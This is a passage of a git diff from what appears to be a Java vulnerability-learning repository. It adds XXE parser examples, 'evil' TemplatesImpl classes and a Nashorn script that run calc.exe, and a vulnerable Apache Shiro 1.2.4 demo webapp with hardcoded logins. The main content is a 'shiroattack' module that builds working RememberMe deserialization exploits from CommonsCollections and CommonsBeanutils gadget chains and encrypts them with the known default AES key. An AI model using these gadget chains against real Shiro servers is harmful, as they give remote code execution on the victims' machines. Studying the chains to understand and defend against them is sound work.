java.io.ObjectOutputStream; + +public class Converter { + public static byte[] toBytes(Object[] objs) throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + for (Object obj : objs) { + treatObject(dos, obj); + } + dos.close(); + return baos.toByteArray(); + } + + public static void treatObject(DataOutputStream dos, Object obj) + throws IOException { + if (obj instanceof Byte) { + dos.writeByte((Byte) obj); + } else if (obj instanceof Short) { + dos.writeShort((Short) obj); + } else if (obj instanceof Integer) { + dos.writeInt((Integer) obj); + } else if (obj instanceof Long) { + dos.writeLong((Long) obj); + } else if (obj instanceof String) { + dos.writeUTF((String) obj); + } else { + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); + oos.writeObject(obj); + oos.close(); + dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header + } + } +} diff --git a/jdk8/src/main/java/com/govuln/serialization/UserSerialization.java b/jdk8/src/main/java/com/govuln/serialization/UserSerialization.java new file mode 100644 index 0000000..d20a7af --- /dev/null +++ b/jdk8/src/main/java/com/govuln/serialization/UserSerialization.java @@ -0,0 +1,24 @@ +package com.govuln.serialization; + +import com.govuln.serialization.model.User; +import org.apache.commons.codec.binary.Base64; + +import java.io.*; + +public class UserSerialization { + public static void main(String[] args) throws Exception + { + write(); + } + + public static void write() throws Exception + { + User user = new User("Bob"); + user.setParent(new User("Josua")); + ByteArrayOutputStream byteSteam = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(byteSteam); + oos.writeObject(user); + + System.out.println(Base64.encodeBase64String(byteSteam.toByteArray())); + } +} diff --git a/jdk8/src/main/java/com/govuln/serialization/model/User.java b/jdk8/src/main/java/com/govuln/serialization/model/User.java new file mode 100644 index 0000000..bda5098 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/serialization/model/User.java @@ -0,0 +1,18 @@ +package com.govuln.serialization.model; + +import java.io.Serializable; + +public class User implements Serializable { + protected String name; + protected User parent; + + public User(String name) + { + this.name = name; + } + + public void setParent(User parent) + { + this.parent = parent; + } +} diff --git a/jdk8/src/main/java/com/govuln/xxe/DocumentBuilderExample.java b/jdk8/src/main/java/com/govuln/xxe/DocumentBuilderExample.java new file mode 100644 index 0000000..3111c38 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/xxe/DocumentBuilderExample.java @@ -0,0 +1,18 @@ +package com.govuln.xxe; + +import org.w3c.dom.Document; +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import java.io.ByteArrayInputStream; + +public class DocumentBuilderExample { + public static void main(String[] args) throws Exception { + String data = "\n" + + " ]>\n" + + "&xxe;"; + DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder(); + Document doc = db.parse(new ByteArrayInputStream(data.getBytes())); + System.out.println(doc.getDocumentElement().getTextContent()); + } +} diff --git a/jdk8/src/main/java/com/govuln/xxe/SAXParserExample.java b/jdk8/src/main/java/com/govuln/xxe/SAXParserExample.java new file mode 100644 index 0000000..46fa054 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/xxe/SAXParserExample.java @@ -0,0 +1,23 @@ +package com.govuln.xxe; + +import org.xml.sax.helpers.DefaultHandler; + +import javax.xml.parsers.SAXParser; +import javax.xml.parsers.SAXParserFactory; +import java.io.ByteArrayInputStream; + +public class SAXParserExample { + public static void main(String[] args) throws Exception { + String data = "\n" + + " ]>\n" + + "&xxe;"; + SAXParser parser = SAXParserFactory.newInstance().newSAXParser(); + + parser.parse(new ByteArrayInputStream(data.getBytes()), new DefaultHandler() { + public void characters(char[] ch, int start, int length) { + System.out.print(new String(ch, start, length)); + } + }); + } +} diff --git a/jdk8/src/main/java/com/govuln/xxe/XMLReaderExample.java b/jdk8/src/main/java/com/govuln/xxe/XMLReaderExample.java new file mode 100644 index 0000000..459a222 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/xxe/XMLReaderExample.java @@ -0,0 +1,22 @@ +package com.govuln.xxe; + +import org.xml.sax.InputSource; +import org.xml.sax.XMLReader; +import org.xml.sax.helpers.DefaultHandler; +import org.xml.sax.helpers.XMLReaderFactory; + +public class XMLReaderExample { + public static void main(String[] args) throws Exception { + String data = "\n" + + " ]>\n" + + "&xxe;"; + XMLReader reader = XMLReaderFactory.createXMLReader(); + reader.setContentHandler(new DefaultHandler() { + public void characters(char[] ch, int start, int length) { + System.out.print(new String(ch, start, length)); + } + }); + reader.parse(new InputSource(data)); + } +} diff --git a/jdk8/src/main/java/com/govuln/xxe/XMLStreamExample.java b/jdk8/src/main/java/com/govuln/xxe/XMLStreamExample.java new file mode 100644 index 0000000..0173a44 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/xxe/XMLStreamExample.java @@ -0,0 +1,28 @@ +package com.govuln.xxe; + +import javax.xml.stream.XMLInputFactory; +import javax.xml.stream.XMLStreamReader; +import java.io.*; + +public class XMLStreamExample { + public static void main(String[] args) throws Exception { + String data = "\n" + + " ]>\n" + + "&xxe;"; + InputStream input = new ByteArrayInputStream(data.getBytes()); + XMLInputFactory factory = XMLInputFactory.newFactory(); + XMLStreamReader reader = factory.createXMLStreamReader(input); + + while (reader.hasNext()) { + reader.next(); + if (reader.isStartElement()) { + System.out.println("Start: " + reader.getLocalName()); + } else if (reader.isEndElement()) { + System.out.println("End: " + reader.getLocalName()); + } else if (reader.hasText()) { + System.out.println("Data: " + reader.getText().trim()); + } + } + } +} diff --git a/jdk8/src/main/java/com/govuln/xxe/XPathExpressionExample.java b/jdk8/src/main/java/com/govuln/xxe/XPathExpressionExample.java new file mode 100644 index 0000000..9b15047 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/xxe/XPathExpressionExample.java @@ -0,0 +1,22 @@ +package com.govuln.xxe; + +import org.xml.sax.InputSource; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathExpression; +import javax.xml.xpath.XPathFactory; +import java.io.ByteArrayInputStream; + +public class XPathExpressionExample { + public static void main(String[] args) throws Exception { + String data = "\n" + + " ]>\n" + + "&xxe;"; + XPathFactory xPathFactory = XPathFactory.newInstance(); + XPath xpath = xPathFactory.newXPath(); + XPathExpression xPathExpr = xpath.compile("/foo/text()"); + + String result = xPathExpr.evaluate(new InputSource(data)); + System.out.println(result); + } +} diff --git a/jdk8/src/main/java/evil/EvilTemplatesImpl.java b/jdk8/src/main/java/evil/EvilTemplatesImpl.java new file mode 100644 index 0000000..d02989e --- /dev/null +++ b/jdk8/src/main/java/evil/EvilTemplatesImpl.java @@ -0,0 +1,19 @@ +package evil; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class EvilTemplatesImpl extends AbstractTranslet { + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + + public EvilTemplatesImpl() throws Exception { + super(); + System.out.println("Hello TemplatesImpl"); + Runtime.getRuntime().exec("calc.exe"); + } +} diff --git a/jdk8/src/main/java/evil/Hello.java b/jdk8/src/main/java/evil/Hello.java new file mode 100644 index 0000000..ad3f297 --- /dev/null +++ b/jdk8/src/main/java/evil/Hello.java @@ -0,0 +1,7 @@ +package evil; + +public class Hello { + static { + System.out.println("Hello World"); + } +} diff --git a/jdk8/src/main/resources/eval.js b/jdk8/src/main/resources/eval.js new file mode 100644 index 0000000..f80f6b6 --- /dev/null +++ b/jdk8/src/main/resources/eval.js @@ -0,0 +1,4 @@ +var a = new java.beans.Customizer { + setObject: eval +} +a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51"; \ No newline at end of file diff --git a/deserialization/pom.xml b/shiroattack/pom.xml similarity index 76% rename from deserialization/pom.xml rename to shiroattack/pom.xml index 4fb8ed9..cbf7952 100644 --- a/deserialization/pom.xml +++ b/shiroattack/pom.xml @@ -5,21 +5,32 @@ 4.0.0 com.govuln - deserialization + shiroattack 1.0-SNAPSHOT - deserialization + shiroattack http://www.example.com UTF-8 - 1.7 - 1.7 + 1.8 + 1.8 - + + org.apache.shiro + shiro-core + 1.2.4 + + + + org.javassist + javassist + 3.27.0-GA + + commons-collections commons-collections @@ -71,5 +82,15 @@ + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + diff --git a/deserialization/deserialization.iml b/shiroattack/shiroattack.iml similarity index 100% rename from deserialization/deserialization.iml rename to shiroattack/shiroattack.iml diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/Client.java b/shiroattack/src/main/java/com/govuln/shiroattack/Client.java new file mode 100644 index 0000000..12d86a5 --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/Client.java @@ -0,0 +1,20 @@ +package com.govuln.shiroattack; + +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +public class Client { + public static void main(String []args) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); + byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); + + AesCipherService aes = new AesCipherService(); + byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + + ByteSource ciphertext = aes.encrypt(payloads, key); + System.out.printf(ciphertext.toString()); + } +} diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/Client0.java b/shiroattack/src/main/java/com/govuln/shiroattack/Client0.java new file mode 100644 index 0000000..177dec5 --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/Client0.java @@ -0,0 +1,15 @@ +package com.govuln.shiroattack; + +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +public class Client0 { + public static void main(String []args) throws Exception { + byte[] payloads = new CommonsCollections6().getPayload("calc.exe"); + AesCipherService aes = new AesCipherService(); + byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + + ByteSource ciphertext = aes.encrypt(payloads, key); + System.out.printf(ciphertext.toString()); + } +} diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/Client1.java b/shiroattack/src/main/java/com/govuln/shiroattack/Client1.java new file mode 100644 index 0000000..4f59ed8 --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/Client1.java @@ -0,0 +1,20 @@ +package com.govuln.shiroattack; + +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +public class Client1 { + public static void main(String []args) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); + byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode()); + + AesCipherService aes = new AesCipherService(); + byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + + ByteSource ciphertext = aes.encrypt(payloads, key); + System.out.printf(ciphertext.toString()); + } +} diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/CommonsBeanutils1Shiro.java b/shiroattack/src/main/java/com/govuln/shiroattack/CommonsBeanutils1Shiro.java new file mode 100644 index 0000000..d7fcdd4 --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/CommonsBeanutils1Shiro.java @@ -0,0 +1,43 @@ +package com.govuln.shiroattack; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.beanutils.BeanComparator; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.PriorityQueue; + +public class CommonsBeanutils1Shiro { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public byte[] getPayload(byte[] clazzBytes) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add("1"); + queue.add("1"); + + setFieldValue(comparator, "property", "outputProperties"); + setFieldValue(queue, "queue", new Object[]{obj, obj}); + + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(queue); + oos.close(); + + return barr.toByteArray(); + } +} diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollections6.java b/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollections6.java new file mode 100644 index 0000000..7bb2cc9 --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollections6.java @@ -0,0 +1,55 @@ +package com.govuln.shiroattack; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + + +public class CommonsCollections6 { + public byte[] getPayload(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { command }), + new ConstantTransformer(1), + }; + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); + + Map expMap = new HashMap(); + expMap.put(tme, "valuevalue"); + + outerMap.remove("keykey"); + + Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); + f.setAccessible(true); + f.set(transformerChain, transformers); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(expMap); + oos.close(); + + return barr.toByteArray(); + } +} diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java b/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java new file mode 100644 index 0000000..cb0e46a --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java @@ -0,0 +1,51 @@ +package com.govuln.shiroattack; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollectionsShiro { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public byte[] getPayload(byte[] clazzBytes) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer transformer = new InvokerTransformer("getClass", null, null); + + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformer); + + TiedMapEntry tme = new TiedMapEntry(outerMap, obj); + + Map expMap = new HashMap(); + expMap.put(tme, "valuevalue"); + + outerMap.clear(); + setFieldValue(transformer, "iMethodName", "newTransformer"); + + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(expMap); + oos.close(); + + return barr.toByteArray(); + } +} \ No newline at end of file diff --git a/shiroattack/src/main/java/com/govuln/shiroattack/Evil.java b/shiroattack/src/main/java/com/govuln/shiroattack/Evil.java new file mode 100644 index 0000000..0336572 --- /dev/null +++ b/shiroattack/src/main/java/com/govuln/shiroattack/Evil.java @@ -0,0 +1,19 @@ +package com.govuln.shiroattack; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class Evil extends AbstractTranslet { + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + + public Evil() throws Exception { + super(); + System.out.println("Hello TemplatesImpl"); + Runtime.getRuntime().exec("calc.exe"); + } +} \ No newline at end of file diff --git a/shirodemo/pom.xml b/shirodemo/pom.xml new file mode 100644 index 0000000..f4e48d6 --- /dev/null +++ b/shirodemo/pom.xml @@ -0,0 +1,108 @@ + + + + 4.0.0 + + com.govuln + shirodemo + 1.0-SNAPSHOT + war + + shirodemo Maven Webapp + http://www.example.com + + + UTF-8 + 1.7 + 1.7 + + + + + org.apache.shiro + shiro-core + 1.2.4 + + + org.apache.shiro + shiro-web + 1.2.4 + + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + + javax.servlet.jsp + jsp-api + 2.2 + provided + + + + + commons-collections + commons-collections + 3.2.1 + + + + commons-logging + commons-logging + 1.2 + + + org.slf4j + slf4j-api + 1.7.30 + + + org.slf4j + slf4j-simple + 1.7.30 + + + + + + shirodemo + + + + maven-clean-plugin + 3.1.0 + + + + maven-resources-plugin + 3.0.2 + + + maven-compiler-plugin + 3.8.0 + + + maven-surefire-plugin + 2.22.1 + + + maven-war-plugin + 3.2.2 + + + maven-install-plugin + 2.5.2 + + + maven-deploy-plugin + 2.8.2 + + + + + diff --git a/shirodemo/shirodemo.iml b/shirodemo/shirodemo.iml new file mode 100644 index 0000000..78b2cc5 --- /dev/null +++ b/shirodemo/shirodemo.iml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/shirodemo/src/main/webapp/WEB-INF/shiro.ini b/shirodemo/src/main/webapp/WEB-INF/shiro.ini new file mode 100644 index 0000000..d56f06c --- /dev/null +++ b/shirodemo/src/main/webapp/WEB-INF/shiro.ini @@ -0,0 +1,20 @@ +[main] +shiro.loginUrl = /login.jsp + +[users] +# format: username = password, role1, role2, ..., roleN +root = secret,admin +guest = guest,guest + +[roles] +# format: roleName = permission1, permission2, ..., permissionN +admin = * + +[urls] +# The /login.jsp is not restricted to authenticated users (otherwise no one could log in!), but +# the 'authc' filter must still be specified for it so it can process that url's +# login submissions. It is 'smart' enough to allow those requests through as specified by the +# shiro.loginUrl above. +/login.jsp = authc +/logout = logout +/** = user diff --git a/shirodemo/src/main/webapp/WEB-INF/web.xml b/shirodemo/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..90d24e1 --- /dev/null +++ b/shirodemo/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,26 @@ + + + + + + org.apache.shiro.web.env.EnvironmentLoaderListener + + + + ShiroFilter + org.apache.shiro.web.servlet.ShiroFilter + + + + ShiroFilter + /* + + + + index.jsp + + diff --git a/shirodemo/src/main/webapp/index.jsp b/shirodemo/src/main/webapp/index.jsp new file mode 100644 index 0000000..156686b --- /dev/null +++ b/shirodemo/src/main/webapp/index.jsp @@ -0,0 +1,14 @@ +<%@ page contentType="text/html;charset=UTF-8" language="java" %> + + + + + Congrats + + + +

Congrats

+

You have successfully logged in

+ + + \ No newline at end of file diff --git a/shirodemo/src/main/webapp/login.jsp b/shirodemo/src/main/webapp/login.jsp new file mode 100644 index 0000000..c64d2e1 --- /dev/null +++ b/shirodemo/src/main/webapp/login.jsp @@ -0,0 +1,85 @@ +<%@ page contentType="text/html;charset=UTF-8" language="java" %> + + + + + Login Page + + + + + + + \ No newline at end of file